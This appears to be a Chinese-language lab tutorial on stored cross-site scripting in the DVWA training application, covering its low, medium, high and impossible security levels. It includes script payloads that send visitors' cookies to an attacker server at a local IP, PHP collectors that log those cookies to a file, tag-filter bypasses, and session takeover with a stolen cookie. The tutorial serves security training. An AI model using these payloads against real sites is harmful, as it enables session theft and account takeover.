DVWA靶機-存儲型XSS漏洞(Stored)

DVWA靶機-存儲型XSS漏洞(Stored)

前章:

DVWA靶機-暴力破解(Brute Force) && DVWA靶機的四個安全等級

DVWA靶機-命令注入漏洞(Command Injection)

DVWA靶機-文件包含漏洞(File Inclusion)

DVWA靶機-文件上傳漏洞(File uploads)

DVWA靶機-跨站請求僞造(CSRF)

DVWA靶機-反射性XSS漏洞(Reflected)

XSS跨站腳本攻擊

XSS(Cross Site Script):全稱爲跨站腳本攻擊,爲了與CSS(Cascading Style Sheet)層疊樣式表有所區別,所以在安全領域稱之爲XSS。

XSS攻擊:通常指黑客通過HTML注入(控制輸入變量),插入惡意腳本,從而在被攻擊者瀏覽網頁時,加載並執行攻擊者惡意製造的網頁程序,通常指JS,實際可包含java、VBscript、ActiveX、Flash、html,攻擊成功後,攻擊者可能得到一定的權限私密網頁內容會話cookie等。

存儲型XSS漏洞挖掘方法

之前我們已經介紹過XSS反射型漏洞的挖掘以及攻擊方法,今天我們來介紹XSS存儲型漏洞的挖掘與攻擊方法,同XSS反射型類似,原理相同,區別在於,存儲型是將輸入的將惡意代碼上傳或者存儲到漏洞服務器中,當被攻擊者瀏覽包含該惡意代碼的頁面,就可能執行這段惡意代碼,存儲型的XSS可以永久存儲於網頁的服務器中

存儲型的危害相當的大,將惡意代碼存儲在服務器中,當任何一個用戶訪問時都有可能觸發惡意代碼的執行,從而導致用戶的cookie被盜取等。

1.存儲型XSS漏洞可能存在的環境

存儲型XSS一般出現在網站留言板、評論、等可以與服務器交互的位置,在DVWA-XSS(Stored)模塊中模擬了一種評論留言的留言板
在這裏插入圖片描述

2.漏洞測試

既然輸入的內容能存入服務器,並回顯在WEB頁面,那我們可以嘗試一下<script></script>標籤是否能執行

<script>alert(1)</script>

在這裏插入圖片描述

3.漏洞檢驗-惡意代碼化

此時我們發現了存儲型XSS漏洞,此時我們可以修改攻擊載荷<scirpt></script>,加入一些惡意代碼執行
在這裏插入圖片描述

1.DVWA-LOW等級下的存儲型XSS漏洞

(1).測試存儲型XSS漏洞所在位置

在low等級下,Stored型XSS的頁面回顯如下,我們在留言板中輸入name和message會存儲在服務器中,並在頁面回顯出來,在low等級下必然存存儲型XSS,我們可以直接實施攻擊。
在這裏插入圖片描述
首先,我們在網頁源代碼中找出回顯模塊,我們以message爲例
在這裏插入圖片描述
在回顯this is test!時使用標籤<br>this is test!</br>
此時我們可以嘗試打破<br>標籤閉合,在輸入時加入其它函數或者標籤。
彈窗函數:

  • alert() && confirm() && prompt()函數: 都爲彈窗函數

我們使用<scirpt>alert(1)</script>標籤打破<br>閉合,此時alert()函數會執行,彈框中顯示1
在這裏插入圖片描述
此時我們可以進行一些有攻擊性的操作,比如在留言板中構造出獲取cookie值的函數,盜用進入該留言板的用戶的cookie值。

(2).植入惡意代碼、盜取用戶cookie

document.loaction: 指定cookie傳送站點
192.168.43.92:攻擊者服務器
document.cookie: 獲取進入留言板的用戶的cookie值

注:message長度有限制,我們可以修改源碼的長度限制,然後傳入下面的惡意代碼

<script>document.location='http://192.168.43.92/xss.php?cookie=' +document.cookie;</script>

在這裏插入圖片描述
xss.php: 爲LOW等級下獲取cookie的處理方法,以及迷惑性界面的定義

//xss.php
<?php
	$cookie=$_GET['cookie']; //獲取cookie變量的值
	$log = fopen("cookie.txt","a+"); //創建並打開一個cookie.txt的文本,權限爲讀寫權限,保留原本文件內容
	fwrite($log,$cookie."/n"); //把cookie的值寫入創建的文本
	fclose($log); //關閉文本文件
?>
//爲迷惑性404 html頁面
[404源碼](https://www.haolizi.net/example/view_14699.html)

當用戶訪問該留言板頁面時,惡意代碼執行,通過document.cookie函數獲取當前用戶的cookie值,賦給站點xss.php文件,xss.php文件中定義也文件操作,將獲取的cookie寫入站點cookie.txt文件,此時攻擊者就獲取了用戶的cookie值

當用戶訪問該留言板時,惡意代碼執行,會跳到我們xss.php中定義的內容

迷惑性頁面404源碼
在這裏插入圖片描述
此時惡意代碼已經執行,cookie.txt文件創建成功,用戶cookie已經寫入cookie.txt文件
在這裏插入圖片描述
在這裏插入圖片描述

(3).以用戶的身份認證(cookie)登錄網站

在DVWA中對cookie沒有防範措施,也就是說,在用戶登錄的情況下,攻擊者可以利用被攻擊者的cookie,直接與服務器獲取連接

在此處

  • Firefox: 模擬用戶登錄狀態
  • Chrome: 手動修改站點cookie,模擬攻擊者登錄過程
    在這裏插入圖片描述

LOW等級下的存儲型XSS源碼:
XSS(Stroed):

trim() 函數: 移除字符串兩側的空白字符或其他預定義字符
stripslashes()函數: 刪除反斜槓"/"
mysql_real_escape_string()函數: 轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

  • \x00
  • \n
  • \r
  • \
  • "
  • \x1a
    如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );

    // Sanitize name input
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?> 

2.DVWA-Medium等級下的存儲型XSS漏洞

(1).漏洞測試

Medium等級下必然存在一些過濾,我們測試過程中發現,在message中使用常用的繞過方法都不能繞過過濾策略
在這裏插入圖片描述
我們測試一下在name欄,能否執行<scirpt></script>標籤,在測試過程中,name欄也有長度限制,我們修改其源碼,增大長度插入<script></script>標籤

我們測試出在name欄中正常的<script></script>也被做了過濾策略

繞過方法

  • 大寫繞過: <ScRipt>alert(1)<ScRipt>
  • 雙寫繞過: <scr<script>ipt>alert(1)</script>
  • <img>標籤錯誤路徑繞過: <img src=x onerror=alert(1)>

此處以大寫繞過爲例
在這裏插入圖片描述

(2).植入惡意代碼、盜取用戶cookie

同low等級一樣,我們構造的惡意代碼爲:

<ScRipt>document.location='http://192.168.43.92/xss1.php?cookie=' +document.cookie;</ScRipt>

與low等級不同的是,<ScRipt></ScRipt>

xss1.php: 爲Medium等級下獲取cookie的處理方法、迷惑性鏈接

創建的保存用戶cookie的文檔爲,cookie1.txt文本文檔

<?php
    $cookie = $_GET['cookie']; //獲取cookie變量的值
    $log = fopen("cookie1.txt","a+"); // 創建並打開一個cookie1.txt的文本,權限爲讀寫權限,保留原本文件內容
    fwrite($log,$cookie ."\n"); //把cookie的值寫入創建的文本文檔
	fclose($log); //關閉文本
?>
+//迷惑性404頁面
[404源碼](https://www.haolizi.net/example/view_14699.html)

當用戶訪問該留言板頁面時,惡意代碼執行,通過document.cookie函數獲取當前用戶的cookie值,賦給站點xss1.php文件,xss1.php文件中定義也文件操作,將獲取的cookie寫入站點cookie1.txt文件,此時攻擊者就獲取了用戶的cookie值

當用戶訪問該留言板時,惡意代碼執行,會跳到我們xss1.php中定義的內容

迷惑性頁面404源碼

在這裏插入圖片描述
cookie1.txt創建成功
在這裏插入圖片描述
cookie值寫入cookie1.txt文本文檔
在這裏插入圖片描述

(3).以用戶的身份認證(cookie)登錄網站

同low等級一樣,在用戶登錄的情況下,攻擊者可以利用用戶的cookie,直接與服務器獲取連接

在這裏插入圖片描述
Medium等級下的存儲型XSS源碼:
在Medium等級中,對message模塊有強大的過濾,而對於name模塊的過濾就比較弱了。
XSS(Stroed):
strip_tags() 函數: 剝去字符串中的 HTML、XML 以及 PHP 的標籤,在此處剝除了message中的標籤。
mysql_real_escape_string()函數: 轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

  • \x00
  • \n
  • \r
  • \
  • "
  • \x1a

如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。
addslashes() 函數: 返回在預定義字符之前添加反斜槓的字符串
htmlspecialchars() 函數: 把預定義的字符轉換爲 HTML 實體。

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?> 

3.DVWA-High等級下的存儲型XSS漏洞

(1).漏洞測試

High等級下必然存在更強的過濾策略,我們測試過程中發現,同medium等級一樣 在message中使用常用的繞過方法都不能繞過過濾策略
在這裏插入圖片描述
name欄中我們發現,<script></script>也被過濾,不能繞過,當然img標籤可以繞過,我們看high等級下的源碼
High等級下的存儲型XSS源碼:
XSS (Stored) Source:

preg_replace()函數: 函數用於正則表達式的搜索和替換,替換爲空,i爲不區分大小寫

同DVWA靶機中High等級下的反射型XSS類似,都用到了preg_replace()函數,它徹底的過濾了<script></script>,不能繞過,同時針對於message模塊,也有相當強大的過濾策略,message不存在存儲型XSS漏洞

 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?> 

繞過方法:

使用其他標籤,比如 <img src=x onerror=alert(1)>img調用圖片,src所描述路徑不存在,會導致onerror執行,從而時alert(1)函數觸發,回顯1
在這裏插入圖片描述

4.DVWA-impossible等級

在impossible等級下,針對於message與name模塊都使用 stripslashes()、mysql_real_escape_string()、以及htmlspecialchars()函數

這給我們對於防範存儲型XSS提供一個範例

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = mysql_real_escape_string( $name );
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章